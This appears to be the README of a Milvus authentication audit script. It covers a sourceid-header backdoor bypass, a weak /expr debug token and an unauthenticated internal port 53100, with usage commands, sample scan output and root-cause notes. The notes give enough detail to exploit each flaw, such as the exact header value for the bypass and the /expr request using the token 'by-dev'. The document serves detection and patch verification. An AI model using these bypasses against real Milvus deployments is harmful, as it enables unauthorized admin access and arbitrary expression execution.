
Milvus 인증 보안 탐지 스크립트: CVE-2025-64513 (sourceid 백도어) / CVE-2026-26190 (/expr 약한 토큰) / 내부 포트 53100
Milvus 인증 보안 감사 스크립트. 세 가지 인증 결함을 탐지합니다:
| 결함 | CVE | 영향 버전 | 탐지 방식 |
|---|---|---|---|
| sourceid 백도어 인증 우회 | CVE-2025-64513 | < 2.4.24 / < 2.5.21 / < 2.6.5 | gRPC ListDatabases + sourceid 삽입 |
| 관리 포트 /expr 약한 token | CVE-2026-26190 | < 2.5.27 / < 2.6.10 | HTTP /expr?code=1%2B1&auth=by-dev(code 매개변수는 URL 인코딩 필요) |
| 내부 포트 rootcoord 53100 인증 없음 | — | < 2.6.10(2.6.10부터 더 이상 수신하지 않음) | gRPC RootCoordService 직접 연결 |
# proxy 계층 탐지(sourceid 백도어 + /expr 약한 token)
python3 milvus-auth-audit.py --host 127.0.0.1 --port 19530 --mgmt-port 9091
# 전체 탐지(내부 포트 포함, 컨테이너 네트워크 내에서 접근 가능해야 함)
python3 milvus-auth-audit.py --host <容器IP> --port 19530 --mgmt-port 9091 --internal-port 53100
매개변수:
--host:Milvus proxy 주소--port:proxy gRPC 포트(기본 19530)--mgmt-port:관리 포트(기본 9091,/expr이 여기에 있음)--internal-port:내부 포트(rootcoord 기본 53100,0 전달 시 건너뜀)--cve-check:CVE 영향 버전 설명 출력pip install grpcio protobuf
gRPC 호출에는 proto 정의로 생성된 Python 코드(milvus_pb2_grpc.py、root_coord_pb2_grpc.py 등)가 필요하며,스크립트와 같은 디렉터리의 proto/ 하위 디렉터리에 있어야 합니다. 생성 방법:
# 1. milvus-proto 저장소 클론
git clone https://github.com/milvus-io/milvus-proto.git
# 2. milvus 소스 코드 클론(내부 proto:root_coord.proto / internal.proto / proxy.proto 등)
git clone https://github.com/milvus-io/milvus.git
# 3. 생성(milvus 내부 proto는 milvus/pkg/proto/ 아래에 있음)
pip install grpcio-tools
python3 -m grpc_tools.protoc -I milvus-proto/proto -I milvus/pkg/proto \
--python_out=proto --grpc_python_out=proto \
milvus-proto/proto/milvus.proto milvus/pkg/proto/root_coord.proto \
milvus/pkg/proto/internal.proto milvus/pkg/proto/proxy.proto
=== 2.6.4 ===
[*] 目标: 172.22.0.4:19530 管理端口: 9091
[check] 认证状态: 已开启认证(authorizationEnabled=true)
[verify] sourceid 后门绕过认证, 数据库=['default'] -> HIT
[verify] /expr 任意表达式执行 (auth=by-dev) -> HIT
[exploit] 内部端口未认证, 数据库=['default'] -> HIT
[!] 发现 3 个可利用认证缺陷
=== 2.6.5 ===
[check] 认证状态: 已开启认证(authorizationEnabled=true)
[verify] sourceid 被拒绝 -> SAFE
[verify] /expr 任意表达式执行 (auth=by-dev) -> HIT
[exploit] 内部端口未认证, 数据库=['default'] -> HIT
[!] 发现 2 个可利用认证缺陷
=== 2.6.10 ===
[check] 认证状态: 已开启认证(authorizationEnabled=true)
[verify] sourceid 被拒绝 -> SAFE
[verify] /expr 已默认禁用 -> SAFE
[exploit] 端口不可达 -> SAFE
[+] 未发现认证缺陷
internal/proxy/authentication_interceptor.go에서 validSourceID()가 sourceId header를 검사하며,값이 base64 디코딩 시 @@milvus-member@@와 같으면 전체 인증 분기를 건너뜁니다. 이는 내부 컴포넌트 상호 신뢰 메커니즘(grpcclient/auth.go의 PerRPCCredentials)이지만 출처 검증이 없어 외부에서 위조할 수 있습니다. 전체 이용 체인:sourceid + authorization=base64("root:가짜 비밀번호") = full admin(proxy가 검증을 건너뛰고 가짜 신원이 그대로 전달됨)./expr debug 엔드포인트로,인증 token이 etcd.rootPath(기본 by-dev)에서 비롯되어 완전히 예측 가능하며,임의의 expr-lang 표현식을 실행할 수 있습니다. 2.6.10부터는 common.security.exprEnabled로 제어되며 기본적으로 비활성화됩니다.AuthenticationInterceptor는 proxy(19530)에만 등록되어 있고,rootcoord 내부 gRPC server(53100)에는 인증이 없습니다. 컨테이너 네트워크 내에서 인증 없이 직접 연결하면 full admin이 될 수 있습니다. 2.6.10부터 이 포트는 더 이상 수신하지 않습니다.승인된 환경의 보안 검사에만 사용하십시오. 승인되지 않은 시스템에는 사용하지 마십시오.